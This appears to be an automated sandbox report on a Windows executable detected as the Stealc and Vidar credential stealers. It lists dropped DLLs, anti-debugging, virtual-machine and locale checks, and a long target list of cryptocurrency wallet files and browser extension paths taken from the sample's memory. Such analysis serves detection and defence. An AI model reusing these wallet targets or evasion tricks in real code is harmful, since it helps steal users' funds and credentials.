Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: Eae0KTw4m1.exe, 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00739860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00739860

Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0073B035 push ecx; ret		0_2_0073B048
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5FB536 push ecx; ret		0_2_6C5FB549

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

0_2_00739860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-69657

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

API coverage: 8.1 %

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0072E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0072E430
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_00734910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00734910
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0072BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0072BE70
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_007216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007216D0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0072F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0072F6B0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_00733EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00733EA0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0072DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0072DA80
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_007338B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_007338B0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_00734570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00734570
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0072ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0072ED20
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0072DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0072DE10

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00721160 GetSystemInfo,ExitProcess,

0_2_00721160

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000161E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW ,e
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	API call chain: ExitProcess graph end node	graph_0-70820
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	API call chain: ExitProcess graph end node	graph_0-69645
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	API call chain: ExitProcess graph end node	graph_0-69642
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	API call chain: ExitProcess graph end node	graph_0-69662
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	API call chain: ExitProcess graph end node	graph_0-69656
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	API call chain: ExitProcess graph end node	graph_0-69484
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	API call chain: ExitProcess graph end node	graph_0-69685

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_0073AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0073AD48

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_007245C0 VirtualProtect ?,00000004,00000100,00000000

0_2_007245C0

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

0_2_00739860

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00739750 mov eax, dword ptr fs:[00000030h]

0_2_00739750

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00737850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00737850

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0073AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0073AD48
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0073CEEA SetUnhandledExceptionFilter,	0_2_0073CEEA
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0073B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0073B33A
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C5FB66C
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C5FB1F7
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7AAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C7AAC62

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Eae0KTw4m1.exe, type: SAMPLE
Source: Yara match	File source: Process Memory Space: Eae0KTw4m1.exe PID: 7300, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00739600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00739600

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_6C5FB341 cpuid

0_2_6C5FB341

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00737B90

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00736920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00736920

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00737850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00737850

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00737A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00737A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Eae0KTw4m1.exe, type: SAMPLE
Source: Yara match	File source: 0.2.Eae0KTw4m1.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Eae0KTw4m1.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1702244271.0000000000721000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Eae0KTw4m1.exe PID: 7300, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: Eae0KTw4m1.exe PID: 7300, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: window-state.json
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: exodus.conf.json
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ElectrumLTC
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Ethereum\
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
